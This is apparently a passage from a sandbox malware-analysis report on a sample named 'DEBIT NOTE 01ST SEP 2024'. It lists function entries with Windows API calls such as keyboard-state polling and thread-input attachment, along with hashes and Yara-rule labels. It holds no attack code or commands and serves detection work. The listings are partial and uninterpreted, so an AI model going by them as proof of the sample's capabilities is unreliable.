                                          • Opcode Fuzzy Hash: d176aaa606c69a21fa64de5f54fcf515c340d5c4a7f23c4320f7b4e4ff292d02
                                          • Instruction Fuzzy Hash: B7316E35A042049BCB10FFA9C48595EB771FF88315B1088ABFD05AB392C739DD45CB6A
                                          Function 00470928 Relevance: 16.7, APIs: 11, Instructions: 166windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00430003: InvalidateRect.USER32(?,00000000,00000001), ref: 00430091
                                          • DestroyAcceleratorTable.USER32(?), ref: 0047094A
                                          • ImageList_Destroy.COMCTL32(?), ref: 004709AD
                                          • ImageList_Destroy.COMCTL32(?), ref: 004709C5
                                          • ImageList_Destroy.COMCTL32(?), ref: 004709D5
                                          • DeleteObject.GDI32(030C6598), ref: 00470A04
                                          • DestroyIcon.USER32(00000007), ref: 00470A1C
                                          • DeleteObject.GDI32(C71130E4), ref: 00470A34
                                          • DestroyWindow.USER32(00520045), ref: 00470A4C
                                          • DestroyIcon.USER32(?), ref: 00470A73
                                          • DestroyIcon.USER32(?), ref: 00470A81
                                          • KillTimer.USER32(00000000,00000000), ref: 00470B00
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateKillRectTableTimerWindow
                                          • String ID:
                                          • API String ID: 1237572874-0
                                          • Opcode ID: 4ee17edbf3fbf185c7a1b530a933687592c26a3f705ddbb244818e4a2882b4b3
                                          • Instruction ID: 3938066daea6daae9dc0c39577387909b3bcb8112bd91d3310d64c2ecda3814a
                                          • Opcode Fuzzy Hash: 4ee17edbf3fbf185c7a1b530a933687592c26a3f705ddbb244818e4a2882b4b3
                                          • Instruction Fuzzy Hash: 24616874601201CFE714DF65DD94FAA77B8FB6A304B54856EE6098B3A2CB38EC41CB58
                                          Function 00479362 Relevance: 16.6, APIs: 11, Instructions: 147memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,004795FD), ref: 00479380
                                          • SafeArrayAllocData.OLEAUT32(004795FD), ref: 004793CF
                                          • VariantInit.OLEAUT32(?), ref: 004793E1
                                          • SafeArrayAccessData.OLEAUT32(004795FD,?), ref: 00479402
                                          • VariantCopy.OLEAUT32(?,?), ref: 00479461
                                          • SafeArrayUnaccessData.OLEAUT32(004795FD), ref: 00479474
                                          • VariantClear.OLEAUT32(?), ref: 00479489
                                          • SafeArrayDestroyData.OLEAUT32(004795FD), ref: 004794AE
                                          • SafeArrayDestroyDescriptor.OLEAUT32(004795FD), ref: 004794B8
                                          • VariantClear.OLEAUT32(?), ref: 004794CA
                                          • SafeArrayDestroyDescriptor.OLEAUT32(004795FD), ref: 004794E7
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                          • String ID:
                                          • API String ID: 2706829360-0
                                          • Opcode ID: 604ca7338ef7579289b82c182b4992e50dced26e61eee24e9e1f7f7e4088d468
                                          • Instruction ID: 8c269571b42c1441f814514f03b92edd351012a73d8239c9f379a0a89e1b4ae1
                                          • Opcode Fuzzy Hash: 604ca7338ef7579289b82c182b4992e50dced26e61eee24e9e1f7f7e4088d468
                                          • Instruction Fuzzy Hash: F6515E76A00119ABCB00DFA5DD849DEB7B9FF88704F10856EE905A7241DB749E06CBA4
                                          Function 004447E0 Relevance: 16.6, APIs: 11, Instructions: 130keyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetKeyboardState.USER32(?), ref: 0044480E
                                          • GetAsyncKeyState.USER32(000000A0), ref: 00444899
                                          • GetKeyState.USER32(000000A0), ref: 004448AA
                                          • GetAsyncKeyState.USER32(000000A1), ref: 004448C8
                                          • GetKeyState.USER32(000000A1), ref: 004448D9
                                          • GetAsyncKeyState.USER32(00000011), ref: 004448F5
                                          • GetKeyState.USER32(00000011), ref: 00444903
                                          • GetAsyncKeyState.USER32(00000012), ref: 0044491F
                                          • GetKeyState.USER32(00000012), ref: 0044492D
                                          • GetAsyncKeyState.USER32(0000005B), ref: 00444949
                                          • GetKeyState.USER32(0000005B), ref: 00444958
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: State$Async$Keyboard
                                          • String ID:
                                          • API String ID: 541375521-0
                                          • Opcode ID: 9fce1f5b3a66d3eff563dda32bd6bc0484776d74d04e18c21d6e4f8d76764453
                                          • Instruction ID: 827c2ee343902556a703916e37c968ecd50c133e95067caf6822082f003788d3
                                          • Opcode Fuzzy Hash: 9fce1f5b3a66d3eff563dda32bd6bc0484776d74d04e18c21d6e4f8d76764453
                                          • Instruction Fuzzy Hash: 27412B34A047C969FF31A6A4C8043A7BBA16FA1314F04805FD5C5477C1DBED99C8C7A9
                                          Function 00470B6C Relevance: 16.6, APIs: 11, Instructions: 125COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: InitVariant$_malloc_wcscpy_wcslen
                                          • String ID:
                                          • API String ID: 3413494760-0
                                          • Opcode ID: b3fce9f732112990bbb163bb6abadbd830b92813f31b22ad1e38064008f16c53
                                          • Instruction ID: 93a03e1dde4748921c3f7e50244c45dc9774a8ad470eaa8d68eb3f4e8808ad8d
                                          • Opcode Fuzzy Hash: b3fce9f732112990bbb163bb6abadbd830b92813f31b22ad1e38064008f16c53
                                          • Instruction Fuzzy Hash: 33414BB260070AAFC754DF69C880A86BBE8FF48314F00862AE619C7750D775E564CBE5
                                          Function 004542ED Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 271libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AddressProc_free_malloc$_strcat_strlen
                                          • String ID: AU3_FreeVar
                                          • API String ID: 2634073740-771828931
                                          • Opcode ID: b7b62cf44ead268743cea15c23fa0702c80810b5d7796ec40f0430e9877b9643
                                          • Instruction ID: 8d08e60933d1045585c44e473594da8d0bbfd8a8652ecee4fcef853dc29158a1
                                          • Opcode Fuzzy Hash: b7b62cf44ead268743cea15c23fa0702c80810b5d7796ec40f0430e9877b9643
                                          • Instruction Fuzzy Hash: 00B1ADB4A00206DFCB00DF55C880A6AB7A5FF88319F2485AEED058F352D739ED95CB94
                                          Function 0046C5FA Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 208comCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CoInitialize.OLE32 ref: 0046C63A
                                          • CoUninitialize.OLE32 ref: 0046C645
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                            • Part of subcall function 0044CB87: CreateDispTypeInfo.OLEAUT32(?,00000800,?), ref: 0044CBD4
                                            • Part of subcall function 0044CB87: CreateStdDispatch.OLEAUT32(00000000,?,?,?), ref: 0044CBF4
                                          • CLSIDFromProgID.OLE32(00000000,?), ref: 0046C694
                                          • CLSIDFromString.OLE32(00000000,?), ref: 0046C6A4
                                          • CoCreateInstance.OLE32(?,00000000,00000017,00482998,?), ref: 0046C6CD
                                          • IIDFromString.OLE32(?,?), ref: 0046C705
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateFrom$String$DispDispatchInfoInitializeInstanceProgTypeUninitialize_malloc
                                          • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                          • API String ID: 2294789929-1287834457
                                          • Opcode ID: 4dfaed0549f409efa28524cf643488acd2e6b782f2d71f2a42dfc1cbbaa944b5
                                          • Instruction ID: adb6a6f601bf1a612e569d1fac1689f55b30b767fcafa950e0578031a668eb85
                                          • Opcode Fuzzy Hash: 4dfaed0549f409efa28524cf643488acd2e6b782f2d71f2a42dfc1cbbaa944b5
                                          • Instruction Fuzzy Hash: B861BC712043019FD710EF21D885B7BB3E8FB84715F10891EF9859B241E779E909CBAA
                                          Function 004710F1 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 157windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00456391: GetCursorPos.USER32(?), ref: 004563A6
                                            • Part of subcall function 00456391: ScreenToClient.USER32(?,?), ref: 004563C3
                                            • Part of subcall function 00456391: GetAsyncKeyState.USER32(?), ref: 00456400
                                            • Part of subcall function 00456391: GetAsyncKeyState.USER32(?), ref: 00456410
                                          • DefDlgProcW.USER32(?,00000205,?,?), ref: 00471145
                                          • ImageList_DragLeave.COMCTL32(00000000), ref: 00471163
                                          • ImageList_EndDrag.COMCTL32 ref: 00471169
                                          • ReleaseCapture.USER32 ref: 0047116F
                                          • SetWindowTextW.USER32(?,00000000), ref: 00471206
                                          • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00471216
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                          • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                          • API String ID: 2483343779-2107944366
                                          • Opcode ID: 0c0f1ff16893fa866466cf5bd33a163e2c592d09522a7afef5934b76f638d362
                                          • Instruction ID: f70d9246110d4513cc5ea0640624bfdb04bec8758509bedf4130776013c57ff9
                                          • Opcode Fuzzy Hash: 0c0f1ff16893fa866466cf5bd33a163e2c592d09522a7afef5934b76f638d362
                                          • Instruction Fuzzy Hash: D751E5706002109FD700EF59CC85BAF77A5FB89310F004A6EF945A72E2DB789D45CBAA
                                          Function 004505F0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 147windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004506A0
                                          • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 004506B4
                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004506D5
                                          • _wcslen.LIBCMT ref: 00450720
                                          • _wcscat.LIBCMT ref: 00450733
                                          • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045074C
                                          • SendMessageW.USER32(?,00001061,?,?), ref: 0045077E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$Window_wcscat_wcslen
                                          • String ID: -----$SysListView32
                                          • API String ID: 4008455318-3975388722
                                          • Opcode ID: ffec743b0eb36e838b163f32d05296d45530ca8b23685d337e61e8ea6b23e255
                                          • Instruction ID: d83f74bd31ff7b91e94eebeff09b40632409ca0fd113a8de7250d6f1aa6a1b31
                                          • Opcode Fuzzy Hash: ffec743b0eb36e838b163f32d05296d45530ca8b23685d337e61e8ea6b23e255
                                          • Instruction Fuzzy Hash: 9C51D470500308ABDB24CF64CD89FEE77A5EF98304F10065EF944A72C2D3B99959CB58
                                          Function 00469BF3 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469C73
                                          • GetDlgCtrlID.USER32(00000000), ref: 00469C84
                                          • GetParent.USER32 ref: 00469C98
                                          • SendMessageW.USER32(00000000,?,00000111), ref: 00469C9F
                                          • GetDlgCtrlID.USER32(00000000), ref: 00469CA5
                                          • GetParent.USER32 ref: 00469CBC
                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 00469CC3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$CtrlParent$_memmove_wcslen
                                          • String ID: ComboBox$ListBox
                                          • API String ID: 2360848162-1403004172
                                          • Opcode ID: 7a27601cbaa80f740c595597d901cdf30e8ed390f6d586fa417b55efe09de5c4
                                          • Instruction ID: b77daa4920d68b7dc7b38413de7e2b04daab878370679d8231203fb1b5b646ea
                                          • Opcode Fuzzy Hash: 7a27601cbaa80f740c595597d901cdf30e8ed390f6d586fa417b55efe09de5c4
                                          • Instruction Fuzzy Hash: 0121E7716001187BDB00AB69CC85ABF779CEB85320F00855BFA149B2D1D6B8D845C7A5
                                          Function 0045DC4C Relevance: 15.2, APIs: 10, Instructions: 190COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcscpy$FolderUninitialize$BrowseDesktopFromInitializeListMallocPath
                                          • String ID:
                                          • API String ID: 262282135-0
                                          • Opcode ID: 6572a5b0ab20a3b352b20f616e179ebe31bc85c3400954ff5f88a0c3e804af97
                                          • Instruction ID: f209a7e015878e5ef66622a864ec89938c936514b9877fb167e893f071c19078
                                          • Opcode Fuzzy Hash: 6572a5b0ab20a3b352b20f616e179ebe31bc85c3400954ff5f88a0c3e804af97
                                          • Instruction Fuzzy Hash: 25718275900208AFCB14EF95C9849DEB7B9EF88304F00899AE9099B312D735EE45CF64
                                          Function 00448123 Relevance: 15.2, APIs: 10, Instructions: 187windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 004481A8
                                          • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 004481AB
                                          • GetWindowLongW.USER32(?,000000F0), ref: 004481CF
                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481F2
                                          • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00448266
                                          • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482B4
                                          • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482CF
                                          • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482F1
                                          • SendMessageW.USER32(?,0000101E,00000001,?), ref: 00448308
                                          • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448320
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$LongWindow
                                          • String ID:
                                          • API String ID: 312131281-0
                                          • Opcode ID: 6a3a0ce9ab1f2311975bf00a061da1b0f9e556c56634a45a126b5d9c196b7e2c
                                          • Instruction ID: c7c5d5d6f9bf0949bb943eac7ac5a8ec30049dd2ce11923e35461b50cec8bdb0
                                          • Opcode Fuzzy Hash: 6a3a0ce9ab1f2311975bf00a061da1b0f9e556c56634a45a126b5d9c196b7e2c
                                          • Instruction Fuzzy Hash: 97617C70A00208AFEB10DF94DC81FEE77B9FF49714F10429AF914AB291DBB5AA41CB54
                                          Function 00448D62 Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004413AA: DeleteObject.GDI32(?), ref: 0044140B
                                          • SendMessageW.USER32(75C123D0,00001001,00000000,?), ref: 00448E16
                                          • SendMessageW.USER32(75C123D0,00001026,00000000,?), ref: 00448E25
                                            • Part of subcall function 00441432: CreateSolidBrush.GDI32(?), ref: 0044147E
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                          • String ID:
                                          • API String ID: 3771399671-0
                                          • Opcode ID: 36703352345276820fdd923f04099b07a85a16fcace37fcd15d9f96d3dbdb764
                                          • Instruction ID: 7c26134f999fedcb31daf2d1c178305a5bad5d5d588b7e0560cc3c70a69cf84e
                                          • Opcode Fuzzy Hash: 36703352345276820fdd923f04099b07a85a16fcace37fcd15d9f96d3dbdb764
                                          • Instruction Fuzzy Hash: C7511570300214ABF720DF24DC85FAE77A9EF14724F10491EFA59AB291CB79E9498B18
                                          Function 00434621 Relevance: 15.1, APIs: 10, Instructions: 98threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThreadId.KERNEL32 ref: 00434643
                                          • GetForegroundWindow.USER32(00000000), ref: 00434655
                                          • GetWindowThreadProcessId.USER32(00000000), ref: 0043465C
                                          • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00434671
                                          • GetWindowThreadProcessId.USER32(?,?), ref: 0043467F
                                          • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00434698
                                          • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004346A6
                                          • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 004346F3
                                          • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434707
                                          • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434712
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                          • String ID:
                                          • API String ID: 2156557900-0
                                          • Opcode ID: 67cee910062edc5350ae4d2b9d1366d6ad4b01d413104696f98c87e4c7643c1b
